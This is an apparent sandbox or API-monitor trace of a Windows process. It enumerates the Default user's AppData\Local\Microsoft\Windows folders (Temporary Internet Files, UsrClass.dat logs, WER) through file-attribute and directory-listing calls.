	[0082.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\x9ohk109"), fInfoLevelId=0x0, lpFileInformation=0x123a8738 | out: lpFileInformation=0x123a8738*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.380] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\x9ohk109"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.381] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.381] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\x9ohk109\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a87d8 | out: lpFileInformation=0x123a87d8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
	[0082.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a8828 | out: lpFileInformation=0x123a8828*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e570c75, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
	[0082.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), fInfoLevelId=0x0, lpFileInformation=0x123a8878 | out: lpFileInformation=0x123a8878*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e3cd240, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1
	[0082.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\low"), fInfoLevelId=0x0, lpFileInformation=0x123a88c8 | out: lpFileInformation=0x123a88c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedb45673, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.382] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\low"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.382] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedb45673, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedb45673, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.382] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized"), fInfoLevelId=0x0, lpFileInformation=0x123a8918 | out: lpFileInformation=0x123a8918*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.382] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.382] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.382] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a8968 | out: lpFileInformation=0x123a8968*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
	[0082.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat"), fInfoLevelId=0x0, lpFileInformation=0x123a89b8 | out: lpFileInformation=0x123a89b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x579672e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x40000)) returned 1
	[0082.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.log1"), fInfoLevelId=0x0, lpFileInformation=0x123a8a08 | out: lpFileInformation=0x123a8a08*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x579672e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0xb400)) returned 1
	[0082.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.log2"), fInfoLevelId=0x0, lpFileInformation=0x123a8a58 | out: lpFileInformation=0x123a8a58*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65cdec0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65cdec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9c5705f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tm.blf"), fInfoLevelId=0x0, lpFileInformation=0x123a8aa8 | out: lpFileInformation=0x123a8aa8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65cdec0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65cdec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x962222ec, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1
	[0082.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tmcontainer00000000000000000001.regtrans-ms"), fInfoLevelId=0x0, lpFileInformation=0x123a8af8 | out: lpFileInformation=0x123a8af8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6581c00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6581c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1
	[0082.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tmcontainer00000000000000000002.regtrans-ms"), fInfoLevelId=0x0, lpFileInformation=0x123a8b48 | out: lpFileInformation=0x123a8b48*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1
	[0082.384] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\wer"), fInfoLevelId=0x0, lpFileInformation=0x123a8b98 | out: lpFileInformation=0x123a8b98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.384] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\wer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.384] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1
	[0082.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2810, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1
	[0082.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.384] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.384] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\wer\\erc"), fInfoLevelId=0x0, lpFileInformation=0x123a8c88 | out: lpFileInformation=0x123a8c88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.384] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\wer\\erc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.384] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.385] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.385] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\wer\\reportarchive"), fInfoLevelId=0x0, lpFileInformation=0x123a8cd8 | out: lpFileInformation=0x123a8cd8*(dwFileAttributes=0x2810, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.387] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\wer\\reportarchive"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.387] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2810, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2810, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.388] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.388] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail"), fInfoLevelId=0x0, lpFileInformation=0x123a8d28 | out: lpFileInformation=0x123a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
